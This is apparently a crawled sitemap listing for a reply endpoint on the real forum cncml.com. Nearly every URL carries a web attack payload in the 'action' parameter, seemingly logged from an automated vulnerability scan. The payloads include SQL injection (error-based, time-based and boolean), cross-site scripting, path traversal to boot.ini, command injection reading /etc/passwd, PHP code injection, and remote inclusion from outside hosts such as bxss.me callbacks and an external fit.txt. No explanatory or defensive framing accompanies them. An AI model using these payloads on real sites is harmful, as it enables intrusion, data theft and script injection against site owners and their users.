http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=;print(md5(1122));%23 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=C:%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=dir 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=file:///c:/boot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=phpinfo 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply 0.0014 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%00' 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%20 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%25%27%29%20AND%2028%3D28%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%25%27%29%20AND%2088%3D51%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%25'%20AND%2067=52%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%25'%20AND%2073=73%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(17=14)%20THEN%20'reply'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(73=73)%20THEN%20'reply'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%2527 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%2527%20AND%2048=48%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%2527%20AND%2078=79%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%5B%5D 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%5C%22 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%5C' 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply%bf%27 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply' 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply'%20AND%20'fa'='fa 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply'%20AND%20'rQ'='ML 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply'%20OR%20'tT'='tT'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(77=96)%20THEN%20'reply'%20ELSE%200x28%20END))%20AND%20'lf'='lf 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(86=86)%20THEN%20'reply'%20ELSE%200x28%20END))%20AND%20'hZ'='hZ 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply'%22 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply')%20AND%2019=19%20AND%20('aT'='aT 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply')%20AND%2096=15%20AND%20('pT'='pT 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(46=47)%20THEN%20'reply'%20ELSE%200x28%20END))%20AND%20('ID'='ID 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(66=66)%20THEN%20'reply'%20ELSE%200x28%20END))%20AND%20('MD'='MD 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply';%20IF(15=15)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply';%20IF(48=43)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply) 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&action=reply)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 